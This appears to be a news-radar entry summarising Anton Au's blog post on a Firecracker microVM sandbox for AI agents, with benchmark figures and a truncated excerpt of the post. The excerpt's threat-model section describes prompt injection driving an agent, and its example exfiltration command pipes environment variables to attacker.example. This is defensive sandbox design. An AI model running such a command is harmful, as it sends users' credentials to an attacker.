2026-11-26 16:00 UTC

Anton Au measures Firecracker agent-sandbox snapshot forks

state: expiredheat: mediumuncertainty: mediumrelevance: mediumagent-sandbox firecracker microvmAnton AuGoogle

What is this?

On November 6, 2026, independent builder Anton Au published a roughly 2,200-line Go implementation of an agent-sandbox design he says Google described for Agent Compute Engine on October 22. It uses Firecracker microVMs, copy-on-write warm snapshots, checkpointing during agent idle periods, and a guest with no network interface; a host-side proxy controls egress and injects credentials so they need not be stored in the guest. Au reports bare-metal snapshot restores at a 24.5 ms median and about 2.4–2.9 MiB of host memory per idle VM across 64 forks. Under nested virtualization on an M4 Mac mini, 12 simultaneous forks failed to become ready within 30 seconds. These are the builder’s measurements from two machines, not independent validation. The article says Google’s service was not yet available and its preview was planned for the coming months; it gives no performance or density figures. The linked evidence provides no Google announcement beyond Au’s account and link to Google’s post.

Why it matters

This is a useful engineering proof point for a potentially important agent-infrastructure idea: microVM isolation may be combined with fast, low-memory cloning of prepared environments, while keeping real credentials outside agent-controlled code. That could make safer parallel tool execution and branching agent evaluations more practical. But the results are a small, single-builder experiment, not evidence of production-scale economics or security; the nested-virtualization failure also shows that hardware and deployment context can dominate performance.

Current assessment

New evidence: Anton Au’s November 6 article describes a working Firecracker implementation of the agent-sandbox pattern attributed to Google’s October 22 Agent Compute Engine deep dive. The open-source project combines warm snapshot forks, tool-lifecycle-driven checkpointing, and a NIC-less guest whose only egress is through a host proxy. In Au’s tests, a 512 MiB guest restored on bare metal in 24.5 ms median versus 642 ms for cold boot; 64 idle forks used about 2.4–2.9 MiB of host memory each, with all 64 ready in about 150 ms when started together. These are reported results from one 2015 desktop and one M4 Mac mini running Firecracker inside Lima; the author notes unsupported host kernels and a synthetic workload. On the nested Mac setup, 12 simultaneous forks did not answer within 30 seconds, and even capped batches were very slow. Au attributes the cliff to nested virtualization on that machine but cannot identify whether Apple’s implementation, arm64 nested KVM handling, or both caused it; it is not evidence that Firecracker itself has the same limit on bare metal. Important limits include only two test hosts, one guest size, no production hardening or multi-host gateway, full snapshots rather than incremental ones, and increased private memory when forks write to guest memory. The article says Google described a similar design, but did not publish latency, density, or cost numbers and had not yet made the service available; its preview was described as coming in the following months. The practical implication is that snapshot-based branching and host-side credential brokering can be assembled from open components, while fleet-scale identity, security, storage, and operational performance remain unproven here.

Measured heat

now 0 pts/hpeak 3 pts/hcomments 0/hpeers p10momentum: steady2 platformsage 387h
points/hour across evidence · reading as of 2026-11-22 03:25:41.608152+11:00 · deterministic, not a model opinion

How the heat travelled

11-05 13:00⭐ origin echo-reconstructedThe author built a Firecracker version of the microVM agent-sandbox pattern Google described and measured snapshot restore time, memory use,
Anton Au on blog (echo) · attributed from hn.story.50405649
—
11-07 16:01first on hacker news · published · +51.0hGoogle Described Its Agent Sandbox. I Built One with Firecracker and Measured It
attilathehoon
—
11-07 16:01amplified on hacker news 👑hn.story.50405649
attilathehoon
peak 10 · 4 comments · 100% of case engagement
11-07 16:21our radar first saw it · +51.4hdiscovery anchor: hn.story.50405649—

Evidence (2) — ⭐ canonical anchor

sourceobjectauthorscorecomments
🟧 hnGoogle Described Its Agent Sandbox. I Built One with Firecracker and Measured It
Retrieved article excerpt

Open article · Retrieved 2026-11-07T16:23:50.309689+00:00

1. [Home](https://antonau.tech/)
 » 2. [Posts](https://antonau.tech/posts/)
 » 

# Google Described Its Agent Sandbox. I Built One with Firecracker and Measured It

November 6, 2026

[#ai-agents](https://antonau.tech/tags/ai-agents/)

[#firecracker](https://antonau.tech/tags/firecracker/)

[#microvm](https://antonau.tech/tags/microvm/)

[#golang](https://antonau.tech/tags/golang/)

[#sandboxing](https://antonau.tech/tags/sandboxing/)

[#kvm](https://antonau.tech/tags/kvm/)

[#benchmarks](https://antonau.tech/tags/benchmarks/)

Architecture: 64 Firecracker forks of one warm snapshot share its pages through the host page cache; vsock is the only channel, to the orchestrator and to an egress proxy that adds credentials

On October 22 Google [described Agent Compute Engine](https://cloud.google.com/blog/topics/ai-infrastructure/agent-compute-engine-deep-dive): every AI agent session gets its own microVM, which is checkpointed while the model thinks, cloned copy-on-write from warm snapshots, and given no network card. You can’t use it yet, and the post has no latency or density numbers. So I built the same pattern on Firecracker in about 2,200 lines of Go and measured it on two machines. Sixty-four idle forks of a 512 MiB VM cost about 3 MiB of host memory each. On bare metal, a snapshot restore answers in 25 ms, 26 times faster than a cold boot, and 64 forks started at once are all ready in about 150 ms. On a Mac mini under nested virtualization, twelve forks started at once never became ready at all, and that failure taught me the most.

In Google Cloud’s deep dive, each agent session gets a hardware-isolated, single-tenant microVM, and Google’s pitch is VM isolation at container speed and density. Preview is “in the coming months”. The post doesn’t give startup, resume, density or cost numbers, and it doesn’t say which hypervisor it uses.

That same day, at AGNTCon + MCPCon in San Jose, the Agentic AI Foundation [took on four new projects](https://aaif.io/news/agentic-ai-foundation-announces-four-new-projects). Two of them are execution environments: Alibaba’s OpenSandbox and OpenEnv from Meta-PyTorch and Hugging Face. It was a busy week for agent sandboxes.

I wanted to know how much of Google’s design you can build today from open parts, and what it costs. So I built four pieces on Firecracker:

- warm snapshots that many VMs share copy-on-write;
- checkpointing driven by the tool-call lifecycle;
- snapshot-and-fork for running many evaluation or RL environments;
- a guest with no NIC, whose only way out is vsock to a host proxy that holds the credentials.

The code is in the [companion repo](https://github.com/gophernaut/llm-learning/tree/main/agents-micro-vm). It has an orchestrator on [firecracker-go-sdk](https://github.com/firecracker-microvm/firecracker-go-sdk), an agent that runs inside the guest, a 230-line egress proxy, and a benchmark harness that writes CSV. Every number in this post comes from that code, run on the machines described under [Results](https://antonau.tech/posts/2026/11/agents-microvm-firecracker/#results-and-limits), or links to its source.

Google’s post explains *what* the system does far more than *how*. When I describe their system I say which parts Google states and which are my inference.

## Threat model: why containers fall short for agents

A coding agent’s normal day is running code nobody has reviewed: code it just wrote, packages it just installed, a script it found in a README. The prompt behind that code may include instructions injected from a web page or an issue comment. So assume the workload is hostile and has root in the sandbox.

Containers share the host kernel, so isolation holds only as long as the workload can’t reach a bug in the syscall surface, the namespace code or the container runtime. Such bugs keep turning up. In [CVE-2024-21626](https://nvd.nist.gov/vuln/detail/CVE-2024-21626), `runc` leaked a host file descriptor into the container, and a crafted working directory turned that into host filesystem access. An agent with a shell and some motivation is exactly the tenant who finds the next one.

gVisor shrinks the attack surface by reimplementing syscalls in user space, and it’s a reasonable middle ground. A microVM moves the boundary instead. The guest runs its own kernel, and the host exposes only a small set of virtual devices through KVM: block or pmem, vsock, and a serial port.

That covers the kernel half of the problem. The other half is credentials. An agent that talks to GitHub or a package registry needs a token. If the token sits in an environment variable inside the sandbox, a prompt injection only needs `env | curl -d @- attacker.example`, and hardware isolation does nothing about that.

### The four identities in Google’s design

Google’s post separates four identities:

1. **User identity.** The human who started or owns the workflow. It authenticates the overall task, not individual agent actions.
2. **Delegated on-behalf-of (OBO) identity.** A cryptographically scoped grant that says the user authorized the agent harness for specific work. Long-lived grants stay in a central authorization service and never reach the compute node.
3. **Agent Workload Identity.** A short-lived, attested [SPIFFE](https://spiffe.io/) identity issued when the microVM starts. All sandbox traffic carries it and only it. Google says a stolen one can’t call backend APIs. All it does is tell the gateway which sandbox sent a packet.
4. **Agent Workforce Identity.** Lets an agent work under its own account and resources. The post says little more about it.

The guest receives an ephemeral SPIFFE certificate and a short-lived token through a per-VM local listener. It gets no refresh tokens, no service account keys and no metadata server. The real credentials are added at the Agent Gateway, outside the VM, after it has checked the session’s mTLS identity and egress policy.

The idea I took from this is that the host decides what a sandbox’s identity is, and the guest never holds the credential that grants real access. My build keeps both properties with much simpler parts.

## MicroVM building blocks

### Firecracker vs. Cloud Hypervisor

Both are Rust VMMs on KVM, and both use rust-vmm crates.

[Firecracker](https://github.com/firecracker-microvm/firecracker) is the minimal one, built for Lambda and Fargate ([NSDI ‘20 paper](https://www.usenix.org/conference/nsdi20/presentation/agache)). Its [specification](https://github.com/firecracker-microvm/firecracker/blob/main/SPECIFICATION.md) commits to at most 125 ms from `InstanceStart` to guest `/sbin/init` and at most 5 MiB of VMM overhead. Both apply to a 1 vCPU, 128 MiB guest on specific bare-metal instances.

These are the Firecracker features this project depends on:

- **Snapshots with a `File` memory backend.** Firecracker maps the memory file `MAP_PRIVATE`, so pages load on demand and guest writes become private anonymous memory ([docs](https://github.com/firecracker-microvm/firecracker/blob/main/docs/snapshotting/snapshot-support.md)).
- **`vsock_override` on snapshot load.** Added in [v1.16.0](https://github.com/firecracker-microvm/firecracker/releases), it lets N restores of one snapshot each get their own socket.
- **virtio-pmem** ([docs](https://github.com/firecracker-microvm/firecracker/blob/main/docs/pmem.md)), which the guest can mount with DAX.
- **VMGenID, always on.** A restored Linux 5.18+ guest reseeds its RNG.

[Cloud Hypervisor](https://github.com/cloud-hypervisor/cloud-hypervisor) has a bigger device model (virtio-fs, vhost-user, VFIO, hotplug). Its `copyonwrite` restore mode ([docs](https://github.com/cloud-hypervisor/cloud-hypervisor/blob/main/docs/snapshot_restore.md)) maps the snapshot file so that restored VMs share page-cache pages, which is the property this whole post depends on.

I picked Firecracker because its snapshot semantics are simple and well documented, and it has a Go SDK. Nothing below depends on it specifically. Google doesn’t name its hypervisor, and I’m not going to guess.

### How sharing works

Google says pre-warmed snapshot images contain fully initialized binaries. On the host they’re “mapped directly into physical memory using Direct Access (DAX) and Copy-on-Write (CoW) memory clones”. DAX avoids duplicate guest page caches, so VMs share physical pages for the OS, libraries and binaries. Each agent pays only for the pages it modifies.

My read is that this describes two separate mechanisms, and both have open-source equivalents.

1. **Guest RAM as a copy-on-write mapping.** If every VM’s memory is a `MAP_PRIVATE` mapping of the same snapshot file, a page that no guest writes exists once, in the host page cache. The first write to a page gives that VM its own copy. A fork costs whatever it dirties.
2. **Guest page cache bypassed with DAX.** Without DAX, each guest reads its rootfs into its own page cache, which lives in its own RAM. With virtio-pmem and `mount -o dax`, file reads go straight to the host’s mapping of the image, which Firecracker maps `MAP_SHARED` across VMs.

The repo supports both modes: `-rootfs-mode block` (virtio-block) and `-rootfs-mode pmem` (virtio-pmem with `rootflags=dax`). In both, the rootfs is read-only and every VM shares one image. The guest agent mounts tmpfs on `/work`, `/tmp` and `/run`, so whatever an agent writes ends up in its own RAM and nowhere else.

### Restore, in code

The SDK can load snapshots, but its generated API client predates `vsock_override`. The SDK runs setup as a chain of named handlers, so I swapped one out:

```
opts := []firecracker.Opt{
	firecracker.WithSnapshot(snap.MemPath, snap.StatePath),
	func(m *firecracker.Machine) {
		m.Handlers.FcInit = m.Handlers.FcInit.Swap(firecracker.Handler{
			Name: firecracker.LoadSnapshotHandlerName,
			Fn: func(ctx context.Context, m *firecracker.Machine) error {
				return apiPut(ctx, m.Cfg.SocketPath, "/snapshot/load", map[string]any{
					"snapshot_path":  snap.StatePath,
					"mem_backend":    map[string]string{"backend_type": "File", "backend_path": snap.MemPath},
					"resume_vm":      true,
					"vsock_override": map[string]string{"uds_path": v.VsockPath},
				})
			},
		})
	},
}
```

Without the override, every fork tries to bind the vsock socket path of the VM the snapshot was taken from. One wins and the rest fail. The jailer gets around this by giving each VM its own chroot.

The host talks to the guest with Firecracker’s [vsock handshake](https://github.com/firecracker-microvm/firecracker/blob/main/docs/vsock.md): connect to the VM’s unix socket, send `CONNECT 10000\n`, read `OK <port>\n`, and from then on it’s a byte stream to the guest agent. I use one JSON request per connection. Firecracker closes every guest vsock connection on resume, so a long-lived control channel would break at every checkpoint.

## Idle-aware checkpointing

Google says idle detection is application-aware. When the agent finishes a tool call and starts “thinking”, the sandbox reports that nothing is running. The host then checkpoints it and holds it with no active host resources until the next call.

That’s the right signal. A generic VM platform has to infer idleness from CPU graphs. An agent platform knows exactly when the sandbox is idle, because the harness dispatches every tool call and sees each one finish. In between, the model is generating tokens, often for many seconds, and the sandbox has nothing to do.

### Detecting “done”

The host sees when an `exec` returns. It doesn’t see whether the command left something behind: `npm install &`, a dev server, a test watcher. So every response from the guest agent carries two counts: `in_flight`, the exec calls currently running, and `background`, the user processes outside any running exec’s process group.

Each exec gets its own process group, via `Setpgid`. A non-interactive shell does no job control, so `cmd &` stays in its parent’s group. Once the parent exits and leaves the in-flight set, whatev
attilathehoon104
🟧 echo.blog ⭐The author built a Firecracker version of the microVM agent-sandbox pattern Google described and measured snapshot restore time, memory use,Anton Au——

Interpretation history

Decision trace